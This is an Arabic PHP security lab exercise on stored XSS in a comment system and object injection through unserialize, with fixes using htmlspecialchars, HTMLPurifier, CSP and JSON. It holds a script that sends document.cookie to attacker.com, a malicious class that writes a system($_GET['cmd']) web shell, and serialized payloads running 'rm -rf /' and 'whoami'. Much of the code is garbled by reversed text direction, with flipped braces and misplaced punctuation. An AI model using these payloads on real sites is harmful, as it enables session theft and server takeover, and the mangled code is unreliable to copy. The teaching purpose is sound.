

تمرين تطبيقي (مختبر الجزء السابع)

1. تنفيذ XSS في نظام التعليقات

(أ) مثال على ثغرة XSS:

php

نظام التعليقات بدون حماية

php?>

✗ خطأ: عرض التعليقات بدون أي حماية

```
} if (isset($_POST['comment']))
```

```
;comment = $_POST['comment']$
```

حفظ في قاعدة البيانات

```
;"sql = "INSERT INTO comments (comment) VALUES ('$comment')$
```

```
{
```

✗ خطأ: عرض التعليقات بدون تصفية

```
;"sql = "SELECT comment FROM comments$
```

```
;result = mysqli_query($conn, $sql)$
```

```
} while ($row = mysqli_fetch_assoc($result))
```

```
;"<echo "<div class='comment'>" . $row['comment'] . "</div
```

```
{
```

```
<?
```

مثال على تعليق ضار

```
<script>
```

هذا يمكن أن يكون كود ضار

```
;fetch('https://attacker.com/steal.php?cookie=' + document.cookie)
```

```
<script/>
```

ب) هجوم XSS المخزن (Stored XSS):

php

php?>

// خطأ: قبول وتخزين أي محتوى

;())session_start

} if (\$_SERVER['REQUEST_METHOD'] === 'POST')

;comment = \$_POST['comment']\$

// تخزين في قاعدة البيانات بدون تصفية

;stmt = \$conn->prepare("INSERT INTO comments (user_id, comment) VALUES (?, ?)")\$

;stmt->bind_param("is", \$_SESSION['user_id'], \$comment)\$

;())stmt->execute\$

{

// خطأ: عرض بدون حماية

;result = \$conn->query("SELECT comment FROM comments ORDER BY id DESC")\$

} while (\$row = \$result->fetch_assoc())

; "<div>" . \$row['comment'] . "</div>

{

<?

2. إصلاح XSS بالترميز الصحيح

أ) الحماية باستخدام htmlspecialchars():

php

php?>

} function sanitize_output(\$string)

✓ صحيح: ترميز جميع الأحرف الخاصة

;return htmlspecialchars(\$string, ENT_QUOTES | ENT_HTML5, 'UTF-8')

{

استخدام الترميز عند العرض

```
;result = $conn->query("SELECT comment FROM comments ORDER BY id DESC")$  
    } while ($row = $result->fetch_assoc())  
;"<echo "<div class='comment'>" . sanitize_output($row['comment']) . "</div  
    {  
    <?
```

<-- HTML أو في قالب HTML

<"div id="comments">

<? :php foreach(\$comments as \$comment)?>

<"div class="comment">

<? htmlspecialchars(\$comment['text'], ENT_QUOTES, 'UTF-8') =?>

<div/>

<? ;php endforeach?>

<div/>

ب) الحماية باستخدام مكتبات متقدمة:

php

php?>

استخدام Purifier للسماح ببعض HTML الآمن فقط

```
;'require_once 'HTMLPurifier.auto.php
```

```
;()config = HTMLPurifier_Config::createDefault$
```

```
;purifier = new HTMLPurifier($config)$
```

السماح ببعض الوسوم الآمنة فقط

```
;config->set('HTML.Allowed', 'p,b,i,em,strong,a[href|title],ul,ol,li,br,img[src|alt]')$
```

```
;config->set('AutoFormat.AutoParagraph', true)$
```

```
;config->set('AutoFormat.Linkify', true)$
```

```
} if ($_SERVER['REQUEST_METHOD'] === 'POST')
    ;comment = $_POST['comment']$
```

تنظيف HTML

```
;clean_comment = $purifier->purify($comment)$
```

حفظ النص النظيف فقط

```
;stmt = $conn->prepare("INSERT INTO comments (comment) VALUES (?)")$
```

```
;stmt->bind_param("s", $clean_comment)$
```

```
;()stmt->execute$
```

```
{
```

```
<?
```

ج) حماية إضافية باستخدام CSP (Content Security Policy):

```
php
```

```
php?>
```

// إضافة رأس CSP للحد من تنفيذ JavaScript

```
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
;https://trusted.cdn.com; style-src 'self' 'unsafe-inline';")
```

```
<?
```

3. استغلال unserialize في إعدادات المستخدم

أ) مثال على ثغرة Object Injection:

```
php
```

```
php?>
```

// خطأ: استخدام unserialize مع بيانات المستخدم

```
} class UserSettings
```

```
;public $theme
```

```
;public $notifications
```

```
;public $language
```

```
} ()public function __construct
```

```
;this->theme = 'light$
```

```
;this->notifications = true$
```

```
;this->language = 'ar$
```

```
{
```

```
} ()public function __destruct
```

قد يكون هناك كود تنفيذي هنا

```
} if (isset($this->log_file))
```

```
;file_put_contents($this->log_file, "Settings updated\n", FILE_APPEND)
```

```
{
```

```
{
```

```
{
```

تخزين إعدادات المستخدم

```
} if (isset($_POST['settings']))
```

```
;settings = $_POST['settings']$
```

✗ خطأ: استخدام unserialize مباشرة

```
;user_settings = unserialize($settings)$
```

حفظ في قاعدة البيانات

```
;stmt = $conn->prepare("UPDATE users SET settings = ? WHERE id = ?")$
```

```
;stmt->bind_param("si", $settings, $_SESSION['user_id'])$
```

```
;()stmt->execute$
```

```
{
```

تحميل الإعدادات

```
;stmt = $conn->prepare("SELECT settings FROM users WHERE id = ?")$
```

```
;stmt->bind_param("i", $_SESSION['user_id'])$
```

```

;()stmt->execute$
;()result = $stmt->get_result$
;()row = $result->fetch_assoc$

```

✗ خطأ: unserialize بدون تحقق

```

;loaded_settings = unserialize($row['settings'])$

```

```

<?

```

ب) استغلال الثغرة:

```

php

```

```

php?>

```

هجوم Object Injection

```

} class MaliciousClass

```

```

;public $log_file = '/var/www/html/shell.php

```

```

;'<? ;public $log_data = '<?php system($_GET["cmd"])

```

```

} ()public function __destruct

```

إنشاء ملف ضار عند تدمير الكائن

```

;file_put_contents($this->log_file, $this->log_data)

```

```

{

```

```

{

```

إنشاء بيانات تسلسلية ضارة

```

;()malicious_object = new MaliciousClass$

```

```

;malicious_serialized = serialize($malicious_object)$

```

إرسال البيانات الضارة عبر POST

هذا سينفذ __destruct () عند unserialize

```

<?

```

4. استبدال serialize بـ JSON

أ) الحل الآمن باستخدام JSON:

```
php
php?>
} class UserSettings
    ;public $theme
;public $notifications
;public $language

} ()public function __construct
    ;'this->theme = 'light$
;this->notifications = true$
    ;'this->language = 'ar$
    {
```

تحويل الكائن إلى مصفوفة

```
} ()public function toArray
    ] return
    ,theme' => $this->theme'
,notifications' => $this->notifications'
    language' => $this->language'
    ;[
    {
```

تحميل من مصفوفة

```
} public function fromArray($data)
    ;'this->theme = $data['theme'] ?? 'light$
;this->notifications = $data['notifications'] ?? true$
    ;'this->language = $data['language'] ?? 'ar$
    {
```

```
{
```

✓ صحيح: استخدام JSON بدلاً من serialize

```
} if (isset($_POST['settings']))
```

```
;settings_data = $_POST['settings']$
```

// التحقق من صحة JSON

```
} if (isValidJson($settings_data))
```

```
;decoded_settings = json_decode($settings_data, true)$
```

التحقق من هيكل البيانات

```
} if (validateSettingsStructure($decoded_settings))
```

```
;()user_settings = new UserSettings$
```

```
;user_settings->fromArray($decoded_settings)$
```

حفظ كـ JSON

```
;json_settings = json_encode($user_settings->toArray())$
```

```
;stmt = $conn->prepare("UPDATE users SET settings = ? WHERE id = ?")$
```

```
;stmt->bind_param("si", $json_settings, $_SESSION['user_id'])$
```

```
;()stmt->execute$
```

```
{
```

```
{
```

```
{
```

تحميل الإعدادات

```
;stmt = $conn->prepare("SELECT settings FROM users WHERE id = ?")$
```

```
;stmt->bind_param("i", $_SESSION['user_id'])$
```

```
;()stmt->execute$
```

```
;()result = $stmt->get_result$  
;()row = $result->fetch_assoc$
```

json_decode استخدام صحيح: 

```
} if (!empty($row['settings']))
```

```
;loaded_settings = json_decode($row['settings'], true)$
```

```
} if ($loaded_settings !== null)
```

```
;()user_settings = new UserSettings$
```

```
;user_settings->fromArray($loaded_settings)$
```

```
{
```

```
{
```

دالة التحقق من صحة JSON

```
} function isValidJson($string)
```

```
;json_decode($string)
```

```
;return (json_last_error() === JSON_ERROR_NONE)
```

```
{
```

دالة التحقق من هيكل البيانات

```
} function validateSettingsStructure($data)
```

```
;required_keys = ['theme', 'notifications', 'language']$
```

```
} foreach ($required_keys as $key)
```

```
} if (!array_key_exists($key, $data))
```

```
;return false
```

```
{
```

```
{
```

قيم مسموح بها

```
;allowed_themes = ['light', 'dark', 'auto']$
```

```
;allowed_languages = ['ar', 'en', 'fr']$
```

```
} if (!in_array($data['theme'], $allowed_themes))
```

```
;return false
```

```
{
```

```
} if (!in_array($data['language'], $allowed_languages))
```

```
;return false
```

```
{
```

```
;return true
```

```
{
```

```
<?
```

ب) حماية إضافية للـ JSON:

```
php
```

```
php?>
```

استخدام JSON Schema للتحقق

```
] = schema$
```

```
, 'type' => 'object'
```

```
] <= 'properties'
```

```
] <= 'theme'
```

```
, 'type' => 'string'
```

```
enum' => ['light', 'dark', 'auto']'
```

```
, [
```

```
, 'notifications' => ['type' => 'boolean']'
```

```
] <= 'language'
```

```
, 'type' => 'string'
```

```
enum' => ['ar', 'en', 'fr']

[
,
,required' => ['theme', 'notifications', 'language']'
additionalProperties' => false'
;[
```

```
} function validateJsonSchema($data, $schema)
```

تنفيذ التحقق من المخطط

كود التحقق ...

```
{
```

أو استخدام مكتبة مثل `justinrainbow/json-schema`

<?

5. توثيق الفرق الأمني بين `serialize` و `JSON`

جدول المقارنة:

المعيار `serialize()` `json_encode()`

تنفيذ الكود ⚠ نعم - يستدعي `magic methods (__wakeup, __destruct)` ✅ لا - بيانات فقط

تثبيت الكائنات ⚠ نعم - ينشئ كائنات من الفئات ✅ لا - بيانات مصفوفة فقط

التلاعب بالبيانات ⚠ خطير - يمكن حقن كائنات ✅ آمن نسبياً - بيانات فقط

الدعم المتبادل ⚠ PHP فقط ✅ متعدد اللغات

الأداء ⚠ أسرع لكن غير آمن ✅ أبطأ قليلاً لكن آمن

الحجم ⚠ أكبر ✅ أصغر

تحليل الأمان التفصيلي:

مخاطر `serialize()`:

Object Injection Attack

php

يمكن حقن كائنات تعسفية

```
;'data = 'O:8:"stdClass":1:{s:4:"exec";s:10:"rm -rf /";};'$
```

خطر ⚠ ;obj = unserialize(\$data)\$

استدعاء :Magic Methods

```
php
```

```
} class Vulnerable
```

```
;private $command
```

```
} ()public function __wakeup
```

تنفيذ أوامر ⚠ ;system(\$this->command)

```
{
```

```
{
```

```
;'data = 'O:10:"Vulnerable":1:{s:18:"Vulnerablecommand";s:8:"whoami";};'$
```

ينفذ الأمر ⚠ ;unserialize(\$data)

أمان :()json_encode() / json_decode

لا ينفذ كود:

```
php
```

```
;'data = '{"__proto__":{"polluted": true}}'$
```

بيانات فقط ✅ ;obj = json_decode(\$data)\$

لا توجد methods تنفيذية

تحكم أفضل في البيانات:

```
php
```

يمكن تقييد أنواع البيانات

```
;options = JSON_BIGINT_AS_STRING | JSON_THROW_ON_ERROR$
```

```
;data = json_decode($input, true, 512, $options)$
```

أفضل الممارسات:

```
php
```

php?>

1. تجنب serialize مع بيانات المستخدم

خطأ ❌

```
;data = unserialize($_POST['data'])$
```

صحيح ✅

```
;data = json_decode($_POST['data'], true)$
```

2. استخدام allowlist للفئات المسموح بها

```
} class SafeUnserializer
```

```
] = private $allowed_classes
```

```
, 'DateTime'
```

```
'UserSettings'
```

```
;
```

```
} public function safeUnserialize($data)
```

```
;result = unserialize($data, ['allowed_classes' => $this->allowed_classes])$
```

```
} if ($result === false && $data !== serialize(false))
```

```
;('فشل في deserialize')throw new Exception
```

```
{
```

```
;return $result
```

```
{
```

```
{
```

3. التحقق من التوقيع الرقمي

```
} class SecureSerializer
```

```
;private $secret_key = 'your-secret-key
```

```

    } public function secureSerialize($data)

        ;serialized = serialize($data)$

;signature = hash_hmac('sha256', $serialized, $this->secret_key)$

;return base64_encode($signature . '|' . $serialized)

    {

    } public function secureUnserialize($encoded)

        ;decoded = base64_decode($encoded)$

;list($signature, $serialized) = explode('|', $decoded, 2)

;expected_signature = hash_hmac('sha256', $serialized, $this->secret_key)$

    } if (!hash_equals($signature, $expected_signature))

        ;('التوقيع غير صالح')throw new Exception

        {

;([[/* قائمة مسموحة */] <= 'allowed_classes'] ,serialized$)return unserialize

        {

        {

        <?

```